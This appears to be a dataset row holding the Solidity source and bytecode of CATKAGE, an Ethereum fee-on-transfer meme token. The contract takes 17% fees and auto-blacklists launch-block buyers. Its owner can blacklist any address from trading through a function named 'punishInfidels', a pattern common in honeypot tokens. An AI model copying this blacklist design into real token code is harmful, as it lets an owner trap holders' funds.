14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115c3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b4d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611649576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611a4b6023913960400191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116f45750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561175457600a548110611753576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611afd6028913960400191505060405180910390fd5b5b6117c081604051806060016040528060268152602001611ad760269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119029092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185581600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c290919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906119af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611974578082015181840152602081019050611959565b50505050905090810190601f1680156119a15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a2063616e6e6f74207065726d6974207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63655472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220daf90a616b3ef18bb16c485bed26ad3e873e84829537b0ab9e5d9d095d9f43c364736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 387 |
0x143105db7497ac61a3ad1c42689389dcbe0fcf6a | /**
*Submitted for verification at Etherscan.io on 2021-12-31
*/
/**
//SPDX-License-Identifier: UNLICENSED
𝒞𝒜𝒯𝒦𝒜𝒢𝐸 - 𝒯𝒽𝑒 𝒞𝒜𝒯𝒦𝒜𝒢𝐸 𝒽𝑜𝓁𝒹𝓈 𝓉𝒽𝑒 𝒽𝒾𝑔𝒽𝑒𝓈𝓉 𝓉𝒾𝑒𝓇 𝒾𝓃 𝓇𝒶𝓃𝓀𝒾𝓃𝑔 𝒶𝓂𝑜𝓃𝑔𝓈𝓉 𝓉𝒽𝑒 𝒮𝒽𝒾𝓃𝑜𝒷𝒾 𝓇𝒶𝓃𝓀𝓈 𝒶𝓃𝒹 𝑜𝓊𝓇 𝒸𝒶𝓉 𝒾𝓈 𝒽𝑒𝓇𝑒 𝓉𝑜 𝓅𝓇𝑜𝓉𝑒𝒸𝓉 𝓉𝒽𝑒 𝓋𝒾𝓁𝓁𝒶𝑔𝑒 𝒶𝓃𝒹 𝓈𝑒𝓇𝓋𝑒 𝒾𝓉 𝓌𝒾𝓉𝒽 𝒽𝑒𝓇 𝓁𝒾𝒻𝑒.
Telegram: https://t.me/CatkageOfficial
Website: https://www.catkage.com/
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceHabeebti() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}contract CATKAGE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public firstBlock;
uint256 public _liqFee;
uint256 private _taxFee;
address payable private _taxWallet;
address payable private _liqWallet;
string private constant _name = "CATKAGE";
string private constant _symbol = "CATKAGE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(0x000cc8bEEdf8B00EeB158D5781cF8e1Fa42Fd62C);
_liqWallet = payable(0x000cc8bEEdf8B00EeB158D5781cF8e1Fa42Fd62C);
_liqFee = 10;
_taxFee = 7;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_isExcludedFromFee[_liqWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && from != address(this) && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(!bots[from] && !bots[to]);
if(block.number <= firstBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(uniswapV2Pair) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
uint256 liqTokens = (contractTokenBalance/(_taxFee + _liqFee)) * (_liqFee/2);
uint256 swapTokens = contractTokenBalance - liqTokens;
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(swapTokens);
uint256 contractETHBalance = address(this).balance;
uint256 liqETH = (contractETHBalance * liqTokens)/contractTokenBalance;
if(contractETHBalance > 0) {
increaseLiquidity(liqTokens, liqETH);
sendETHToFee(address(this).balance);
}
}
_tokenTransfer(from,to,amount, true);
} else {
_tokenTransfer(from,to,amount, false);
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function increaseLiquidity(uint256 tokens, uint256 liqETH) private {
_approve(address(this), address(uniswapV2Router), tokens);
uniswapV2Router.addLiquidityETH{value: liqETH}(
address(this),
tokens,
0,
0,
_liqWallet,
block.timestamp
);
}
function assalamAlaikum() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
firstBlock = block.number;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function punishInfidels(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function forgiveInfidel(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
_transferStandard(sender, recipient, amount, takeFee);
}
function _transferStandard(address sender, address recipient, uint256 tAmount, bool takeFee) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
if (takeFee) {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
} else {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
}
}function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _liqFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101185760003560e01c80636fc3eaec116100a0578063a9059cbb11610064578063a9059cbb14610386578063c3c8cd80146103c3578063dd62ed3e146103da578063f6372cab14610417578063fc35464e146104425761011f565b80636fc3eaec146102c557806370a08231146102dc5780638da5cb5b1461031957806394c3f7db1461034457806395d89b411461035b5761011f565b8063231b0268116100e7578063231b0268146101e057806323b872dd1461020b5780632993a89014610248578063313ce567146102715780635932ead11461029c5761011f565b8063067788c41461012457806306fdde031461014d578063095ea7b31461017857806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b5061014b60048036038101906101469190612a14565b610459565b005b34801561015957600080fd5b50610162610549565b60405161016f9190612fcf565b60405180910390f35b34801561018457600080fd5b5061019f600480360381019061019a9190612af1565b610586565b6040516101ac9190612fb4565b60405180910390f35b3480156101c157600080fd5b506101ca6105a4565b6040516101d79190613131565b60405180910390f35b3480156101ec57600080fd5b506101f56105b5565b6040516102029190613131565b60405180910390f35b34801561021757600080fd5b50610232600480360381019061022d9190612aa2565b6105bb565b60405161023f9190612fb4565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612b2d565b610694565b005b34801561027d57600080fd5b506102866107e4565b60405161029391906131a6565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be9190612b6e565b6107ed565b005b3480156102d157600080fd5b506102da61089f565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612a14565b610911565b6040516103109190613131565b60405180910390f35b34801561032557600080fd5b5061032e610962565b60405161033b9190612e85565b60405180910390f35b34801561035057600080fd5b5061035961098b565b005b34801561036757600080fd5b50610370610ade565b60405161037d9190612fcf565b60405180910390f35b34801561039257600080fd5b506103ad60048036038101906103a89190612af1565b610b1b565b6040516103ba9190612fb4565b60405180910390f35b3480156103cf57600080fd5b506103d8610b39565b005b3480156103e657600080fd5b5061040160048036038101906103fc9190612a66565b610bb3565b60405161040e9190613131565b60405180910390f35b34801561042357600080fd5b5061042c610c3a565b6040516104399190613131565b60405180910390f35b34801561044e57600080fd5b50610457610c40565b005b6104616111a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e590613091565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600781526020017f4341544b41474500000000000000000000000000000000000000000000000000815250905090565b600061059a6105936111a3565b84846111ab565b6001905092915050565b6000683635c9adc5dea00000905090565b600a5481565b60006105c8848484611376565b610689846105d46111a3565b6106848560405180606001604052806028815260200161384e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063a6111a3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b659092919063ffffffff16565b6111ab565b600190509392505050565b61069c6111a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072090613091565b60405180910390fd5b60005b81518110156107e057600160066000848481518110610774577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107d89061347d565b91505061072c565b5050565b60006009905090565b6107f56111a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610882576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087990613091565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e06111a3565b73ffffffffffffffffffffffffffffffffffffffff161461090057600080fd5b600047905061090e81611bc9565b50565b600061095b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c35565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6109936111a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1790613091565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60606040518060400160405280600781526020017f4341544b41474500000000000000000000000000000000000000000000000000815250905090565b6000610b2f610b286111a3565b8484611376565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b7a6111a3565b73ffffffffffffffffffffffffffffffffffffffff1614610b9a57600080fd5b6000610ba530610911565b9050610bb081611ca3565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b610c486111a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccc90613091565b60405180910390fd5b601060149054906101000a900460ff1615610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90613111565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610db530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006111ab565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dfb57600080fd5b505afa158015610e0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e339190612a3d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e9557600080fd5b505afa158015610ea9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecd9190612a3d565b6040518363ffffffff1660e01b8152600401610eea929190612ea0565b602060405180830381600087803b158015610f0457600080fd5b505af1158015610f18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3c9190612a3d565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fc530610911565b600080610fd0610962565b426040518863ffffffff1660e01b8152600401610ff296959493929190612f53565b6060604051808303818588803b15801561100b57600080fd5b505af115801561101f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110449190612bc0565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550678ac7230489e800006011819055506001601060146101000a81548160ff02191690831515021790555043600a81905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161114d929190612ec9565b602060405180830381600087803b15801561116757600080fd5b505af115801561117b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119f9190612b97565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561121b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611212906130f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128290613031565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113699190613131565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dd906130d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90612ff1565b60405180910390fd5b60008111611499576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611490906130b1565b60405180910390fd5b6114a1610962565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150f57506114df610962565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561154757503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561159d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115f35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b5257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561169c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116a557600080fd5b600a5443111580156117045750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561175e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561179657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117f4576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561189f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118f95750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561194f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119675750601060179054906101000a900460ff165b15611a175760115481111561197b57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119c657600080fd5b601e426119d39190613267565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a2230610911565b905060006002600b54611a3591906132bd565b600b54600c54611a459190613267565b83611a5091906132bd565b611a5a91906132ee565b905060008183611a6a9190613348565b9050601060159054906101000a900460ff16158015611ad75750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015611aef5750601060169054906101000a900460ff165b15611b3d57611afd81611ca3565b60004790506000848483611b1191906132ee565b611b1b91906132bd565b90506000821115611b3a57611b308482611f9d565b611b3947611bc9565b5b50505b611b4a86868660016120ac565b505050611b60565b611b5f83838360006120ac565b5b505050565b6000838311158290611bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba49190612fcf565b60405180910390fd5b5060008385611bbc9190613348565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c31573d6000803e3d6000fd5b5050565b6000600854821115611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7390613011565b60405180910390fd5b6000611c866120be565b9050611c9b81846120e990919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d01577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d2f5781602001602082028036833780820191505090505b5090503081600081518110611d6d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e0f57600080fd5b505afa158015611e23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e479190612a3d565b81600181518110611e81577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ee830600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111ab565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f4c95949392919061314c565b600060405180830381600087803b158015611f6657600080fd5b505af1158015611f7a573d6000803e3d6000fd